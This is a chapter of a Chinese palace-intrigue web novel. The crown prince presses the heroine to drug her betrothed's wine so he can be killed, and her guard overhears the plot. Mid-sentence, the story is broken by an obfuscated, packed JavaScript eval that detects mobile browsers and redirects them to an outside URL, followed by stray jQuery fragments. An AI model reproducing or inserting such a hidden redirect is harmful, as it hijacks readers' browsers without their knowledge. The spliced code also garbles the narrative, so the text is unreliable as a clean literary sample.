纵然心中愤慨,可转身的那一刻,她早已掩下眸中的憎恨,徒留一抹无助的哀怜。
“你还来这里做什么?”
明明是一句失礼的责问,可她眼底的哀怨,却又处处透着可怜。
萧恒呼吸一紧,喉间泛起一抹苦涩。
狭长的桃花眼中饱含歉疚,似古井深潭,虽无波澜,却有一股暗潮翻涌而上。
四目相对的一瞬间,压抑已久的情绪在胸腔内不断激荡。他近乎失态地注视着她,眼神炙热且复杂。
晏宁看不透他的心思,却本能地厌恶那过分直白的目光。
片刻的失神后,萧恒喉结一滚,沉声说道:“孤想给晏夫人上一炷香。”
说罢,也不等晏宁作答,他便径自取了香,对着香案上供奉的牌位,虔诚地拜了三拜。
佛香插·入铜炉后,一道青烟袅袅升起,不断地向上盘旋。
萧恒并未立即转身,而是缄默地伫立着,哪怕佛香熏人,他也始终神色肃穆,不曾有半分躲闪。
可他越是恭敬,晏宁心中就越是愤怒鄙夷。
漫长的沉默后,萧恒缓缓转过身来,眸光冷淡地瞥了一眼站在角落里的清霜。
“孤有话要和县主说,你先退下。”
面对他冷漠的吩咐,清霜却恍若未闻般,仍旧岿然不动地站立着。
见状,萧恒眉心一沉,眼底猝然蹿起了一股无名怒火。
“你是聋了还是哑了,孤的命令你也敢不从?”
看着他陡然生出的怒意,晏宁眸光一敛,嗓音沉郁地说道:“清霜是我的人,殿下有什么话尽管说吧,不必防她。”
望着她略显冷淡的眉眼,萧恒神色一暗,蓦然冷笑道:“好一个你的人?你就这般信任皇叔?”
他的嗓音尖锐,带着显而易见的怒气,却并未震慑住本就不忿的晏宁。
只见她侧首看向清霜,嗓音清冷地说道:“你先出去。”
似是没想到她会做此决策,清霜愣了一瞬,几度想要劝诫,却在瞥见她坚毅的神色后,默默地退出了佛堂。
大门虚掩着,透着几分沉闷的光亮。
晏宁缓缓抬眸,神色自若地望着他,眼底透出几分寒凉:“你到底想说什么?”
对上她冷若冰霜的目光,萧恒心口一震,下意识地避开了她的眼神。
“你让孤替你请旨退婚,却又这么倚重他的人,孤真的不明白你心里在想些什么。”
听着他无理的指摘,晏宁咽下心中的愤懑,颇为自弃地说道:“殿下不肯相帮,我又能怎样?不过是听天由命罢了。”
“宁宁!”
看着她自暴自弃的眼神,萧恒便又流露出几分不忍。
“你也知道父皇的性子,赐婚之事四海皆知,他又怎肯因孤之言而废止婚事?”
他目光真诚、言辞恳切,就好像真的为此事竭力奔走过一样。
数月之前,他们的婚约何尝不是人尽皆知,可最后不还是退了吗?
怎的到了她身上就无法转圜了?不过是他不肯尽心罢了。
晏宁睫翼轻垂,露出一抹凄凉的笑:“人终有一死,退与不退,又有什么分别?”
“宁宁……”
看着她悲凉的神态,萧恒喉结一滚,犹豫地说道:“你若不想嫁给他,也不是全无办法……”
闻言,晏宁幽幽抬眸,寂寥的眸光中倏然划过一丝期盼:“什么办法?”
“杀了他,便不用成婚,所有的烦恼都可以烟消云散。”
望着他肃杀的眼神,晏宁心惊地咬住了唇瓣。
“你疯了吗?”
“孤是认真的,你若执意要退婚,这便是唯一的办法!”
萧恒眸光一沉,眼底翻涌着阵阵杀气。
“我不过是个手无缚鸡之力的女子,怎么可能杀得了他?”
“若拼蛮力,你自然敌不过他,可若论计谋,他也不是你的对手。”说着,他顿了顿,神色恳切地注视着晏宁,“你若愿意,孤可以助你一臂之力。”
望着他急切的眼神,晏宁心神一凛,却故作镇定地问道:“你想怎么做?”
见她意动,萧恒大喜过望,急忙从腰间掏出一个叠得四四方方的小药包。
“这是西域上贡的秘药,只要将它掺入酒水中,就算是功力再强的人,也会在一夕之间浑身瘫软、内力全无。”
瞥见她眸中的惊愕,萧恒唇角一弯,颇为自得地补充道:“只要你能哄他喝下这杯药酒,孤自有法子取他性命。”
许是料定她会答应,那双上挑的凤眸里毫不掩饰地流露着飞扬的神采和蓬勃的野心。
他是有多大的把握和自信,才会毫不收敛地在她面前展露杀意?
他就不怕自己临阵倒戈吗?还是说,他早已看透了她的心思,想要将计就计?
想到此处,她心口一紧,后背已然冒出层层冷汗。
难道她又错判了萧恒?
在她怔愣之际,萧恒已经阔步上前,不由分说地拉起她的手,将药包塞进她的手心。
“若想重获新生,这便是你唯一的选择。”
见她默不作声,萧恒唇角一扬,意味深长地笑道:“他盘踞燕州多年,父皇早就视他为眼中钉肉中刺,杀他也是迟早的事。可你若能为父皇分忧,父皇必会放你自由。”
晏宁眸光一颤,眼底闪过几许纠结,可更多的仍是对自由的向往。
看着她眼底的悸动,萧恒温声蛊惑道:“只要他一死,孤立刻就送你离开上京,往后天高海阔,你想去哪里都可以。”
“江南水乡,巴蜀胜地,离了上京,便再也没人能拘束你。这不是你一直以来都梦寐以求的生活吗?”
因为有着相同的生长经历,他比任何人都了解她骨子里的叛逆和不羁。
她就像是一只被强行缚住翅膀的鸟,内心深处充满了对自由的渴望。只要给她一丝挣脱牢笼的希望,她就会如飞蛾扑火般孤注一掷。
“机会只有一次,不是独活,就是共死。不必孤多说,你也该知道怎么做才最为明智。若是有了决定,可以随时让人去东宫见孤。”
明明只是一场游说,萧恒却像是笃定了她会做出何种抉择,眼神中充满了志在必得的光芒。
晏宁始终没有说话,只沉默地看着他,眼底仍残存着些许犹豫。
“孤言尽于此,你好好想想吧。”
留下这一句半是胁迫的忠告后,萧恒便蓦然转身,毫不迟疑地走出了佛堂。
他走后不久,守在门外的清霜就走了进来。
或许是听见了他们的谈话,清霜比以往任何时候都更加沉闷。
“你都听见了?”
抬眸的那一刻,晏宁水润的眼眸里溢满了赤诚。
清霜没有答话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724355|184108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,却在她的注视下默默地点了点头。
彼时房门虚掩,她又是习武之人,本就耳聪目明,自是一字不漏地全听了去。
看着她略显尴尬的神情,晏宁心口一紧,当即参悟了萧恒的用意。
他明知清霜就在门外,却不加掩饰地说了那样的话,想来就是为了离间她和萧御。
可他这么做,与当面宣战又有何异?
他就一点也不怕萧御会反吗?究竟是什么样的布局谋略才会给他如此大的自信?
她一直以为自己足够了解萧恒,可现在看来,萧恒远比她想象中的还要深不可测。
想到此处,晏宁眸光一敛,淡淡说道:“你听见了也好,那就劳你给王爷传个迅吧。”
看着她寂寥的神色,清霜眉心一凛,沉重地颔首回应。
“请你再替我带句话。”
闻言,清霜心头一震,随机敛眸道:“县主请说。”
“我想见王爷一面。”
“属下明白了。”
尽管不明白晏宁想做什么,清霜仍是毫不迟疑地应下了她的请托。
***
午后热浪翻涌,蝉鸣不断。
回到厢房后,晏宁就伏案抄起了佛经,直到暮色昏沉,青橘捧来晚膳时,她才缓缓搁下手中的狼毫笔。
寺中饮食清淡,她又心事杂乱,故而只随意吃了几口,就意兴阑珊地撂下了筷子。
收走碗筷后,青橘忐忑地问起了站在廊下的青杏。
“县主这是怎么了?难不成还在生我的气吗?”
青杏扭头看了眼微敞的房门,郁郁地叹了口气。
“县主从佛堂回来后就有些不大高兴,想来并不只是因为你。”
“若不是为我,还能是为什么?”
听着青杏低落的语气,青橘不禁有些自责。
“从前县主有什么心事都会告诉你我,可现在她什么也不肯说……”
“她不说,我去问清霜就是。她一直守在佛堂里,县主的事,她再清楚不过!”
见她要走,青杏不安地扯住了她的衣袖:“你别去……”
“你拦着我做什么?”
对上青橘疑惑的眼神后,青杏为难地说道:“县主不想说的事,清霜又怎会告诉你?”
“可是……”
“我知道你担心县主,可咱们能力有限,就算知道了,也什么都做不了。还是别让清霜为难了吧!”
听着她语重心长的劝说,青橘憋闷地咬住唇,终是怅惋地叹了口气。
“你说的也对,县主不想说,我就是问了,清霜也不会告诉我……”
“好了,别再想这些了,快把碗筷送去洗吧。要不一会儿遇上暴雨,又该误事了。”
闻言,青橘抬头看了眼布满阴霾的天空,乖觉地点了点头。
“我这就去……”
说罢,她就捧着餐盘快步离去,消失在了苍茫的暮色里。
夜色降临后,感业寺里果然下了一场暴雨。
帘外大雨如注,瓢泼的雨水击打着瓦片,不断地发出噼啪的响声,扰得人心中烦闷。
青杏催了好几回,晏宁才丢下手中的书册去就寝。
烛火被吹灭后,屋内顿时陷入了一片黑暗。
听着窗外的雨声,晏宁落寞地叹了口气。
雨下得这样大,他还会来吗?